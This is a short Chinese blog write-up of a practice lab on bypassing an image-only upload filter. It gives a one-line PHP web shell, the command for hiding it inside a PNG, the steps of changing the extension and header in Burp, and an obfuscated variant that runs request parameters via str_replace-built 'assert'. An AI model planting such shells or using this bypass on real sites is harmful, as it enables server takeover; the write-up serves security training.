pte练习文件上传

最新推荐文章于 2024-06-13 17:59:16 发布

m0_56129970

最新推荐文章于 2024-06-13 17:59:16 发布

阅读量197

点赞数

文章标签： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/m0_56129970/article/details/130846007

版权

文章讲述了在已知仅支持图片上传的情况下，如何利用PHP代码注入构造图片马，通过修改文件头和后缀，绕过过滤系统进行上传。虽然成功上传，但蚁剑无法连接，于是使用str_replace进行内容过滤绕过，最终实现连接。

摘要由CSDN通过智能技术生成

文件上传练习

在这里插入图片描述题目做了过滤，只支持图片上传

这个时候就得上bp去改一改了，首先准备一张图片马，先个图片和一句话木马<?php @eavl ($POST['123']); ?>

在这里插入图片描述 cmd命令行中输入：copy tp.png/b + mm.php/a tpm.jpg生成一张名叫tpm.jpg的图片马，用编辑器打开图片马，后面有一句话木马就说明图片马生成成功。

上传图片马，bp抓包，将后缀改为php，图片头改为GIF89a,然后放包

在这里插入图片描述上传成功，访问出现这样页面便是成功了
上传成功了，但蚁剑链接不上，我想可能是对内容做了过滤，于是将一句话木马做点绕过改为<?php $a=str_replace("abc", "", "aabcsabcabcsabceabcrt"); $a($_REQUEST["cmd"]);?>

重复上面步骤，最后上图
在这里插入图片描述蚁剑连接找到key值

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
1
评论
pte练习文件上传

cmd命令行中输入：copy tp.png/b + mm.php/a tpm.jpg生成一张名叫tpm.jpg的图片马，用编辑器打开图片马，后面有一句话木马就说明图片马生成成功。上传成功了，但蚁剑链接不上，我想可能是对内容做了过滤，于是将一句话木马做点绕过改为<?这个时候就得上bp去改一改了，首先准备一张图片马，先个图片和一句话木马<?上传图片马，bp抓包，将后缀改为php，图片头改为GIF89a,然后放包。上传成功，访问出现这样页面便是成功了。题目做了过滤，只支持图片上传。蚁剑连接找到key值。
复制链接

扫一扫

m0_56129970 CSDN认证博客专家 CSDN认证企业博客

码龄3年

4: 原创

199万+: 周排名

123万+: 总排名

525: 访问

: 等级

40: 积分

0: 粉丝

0: 获赞

2: 评论

1: 收藏

私信

关注

热门文章

最新评论

ctfhub综合过滤练习
CSDN-Ada助手: 恭喜你写了第一篇博客！我很高兴看到你分享了关于ctfhub综合过滤练习的内容。下一步，我建议你可以进一步深入探讨ctfhub的其他方面，例如加密和解密技术等。希望你继续保持创作的热情！推荐【每天值得看】：https://bbs.csdn.net/forums/csdnnews?typeId=21804&utm_source=csdn_ai_ada_blog_reply1 如果您持续创作，完成第三篇博客，并且质量分达到 80 分以上，在评论区就有机会获得红包奖励哦！
pte练习
CSDN-Ada助手: 非常感谢您分享有关pte练习的博客文章。您的坚持和努力对于提高自己的语言水平是非常重要的。希望您能够继续保持创作的热情，不断地分享您的学习经验和技巧，为其他学习者提供帮助。下一步，建议您可以多分享一些实际的pte练习技巧和策略，让更多的人受益。再次感谢您的分享！ CSDN 正在通过评论红包奖励优秀博客，请看红包流：https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3，我们会奖励持续创作和学习的博主，请看：https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply3
PTE练习
CSDN-Ada助手: 非常感谢您的第二篇博客，看到您对PTE练习的探讨让我受益匪浅。很高兴看到您对技能的钻研和热情，希望您能够继续产出高质量的博客，与大家分享您的经验和见解。除了您在标题和摘要中提到的内容，我想分享一些和PTE相关的扩展知识和技能。例如，您可以深入了解PTE考试的评分标准和技巧，掌握更加高效的解题方法和策略。此外，您还可以关注PTE考试的最新动态和变化，及时调整备考计划和策略。再次感谢您的分享，期待您更多的精彩文章！如何写出更高质量的博客，请看该博主的分享：https://blog.csdn.net/lmy_520/article/details/128686434?utm_source=csdn_ai_ada_blog_reply2
pte练习文件上传
CSDN-Ada助手: 恭喜您写了第四篇博客，标题看起来很有趣！希望您能继续保持创作的热情，分享更多有趣、实用的内容。建议您可以尝试写一些与PTE相关的技巧、心得，或者分享一些备考经验，帮助更多的考生顺利通过PTE考试。期待您的下一篇作品！ CSDN 会根据你创作的前四篇博客的质量，给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply4 看奖励名单。

最新文章

目录

评论 1

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。